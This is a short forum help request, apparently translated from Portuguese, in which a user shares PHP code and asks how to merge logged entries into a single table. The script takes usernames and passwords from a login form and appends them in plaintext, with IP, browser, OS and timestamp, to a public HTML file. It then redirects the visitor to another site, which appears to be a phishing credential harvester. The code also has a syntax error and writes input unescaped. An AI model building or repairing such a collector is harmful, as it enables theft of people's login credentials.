0
On my host there is an index.html with a form that is linked to a login.php that takes the results that the user typed and saves in an HTML table at the site root. The problem is that a table is created for each user and I want the data of all users to be saved in a single table. I’m very young, I researched a lot and I couldn’t solve it. Here’s a piece of code:
date_default_timezone_set('America/Sao_Paulo');
$usuario = $_POST['user_id'];
$senha = $_POST['password'];
$hora=@date("H:i:s d/m/y");
$ip = $_SERVER["REMOTE_ADDR"];
//crie uma variável para receber o código da tabela
$tabela = '<table border="1">';//abre table
$tabela .='<thead>';//abre cabeçalho
$tabela .= '<tr>';//abre uma linha
$tabela .= '<th>E-mail</th>'; // colunas do cabeçalho
$tabela .= '<th>Senha</th>';
$tabela .= '<th>IP</th>';
$tabela .= '<th>Navegador</th>';
$tabela .= '<th>Sistema Operacional</th>';
$tabela .= '<th>Data</th>';
$tabela .= '</tr>';//fecha linha
$tabela .='</thead>'; //fecha cabeçalho
$tabela .='<tbody>';//abre corpo da tabela
/*Se você tiver um loop para exibir os dados ele deve ficar aqui*/
$tabela .= '<tr>'; // abre uma linha
$tabela .= '<td>'.$usuario.'</td>'; // coluna email
$tabela .= '<td>'.$senha.'</td>'; //coluna senha
$tabela .= '<td>'.$ip.'</td>'; // coluna ip
$tabela .= '<td>'.$user_browser.'</td>'; //coluna navegador
$tabela .= '<td>'.$user_os.'</td>'; //coluna so
$tabela .= '<td>'.$hora.'</td>';//coluna data
$tabela .= '</tr>'; // fecha linha
/*loop deve terminar aqui*/
$tabela .='</tbody>'; //fecha corpo
$tabela .= '</table>';//fecha tabela
$fp = fopen("dados.html", "a");
fwrite($fp, $tabela
fclose($fp);
header("Location: https://meusite.com");
Perfect friend! It worked perfectly, thank you!
– Joao Victor Menom
The right solution depends on each case. There are cases that are quite obvious, but the one presented is not, it is not known what the purpose is to save html in this way. Therefore, it is irrelevant to say that the appropriate would be to use databases.
– Daniel Omine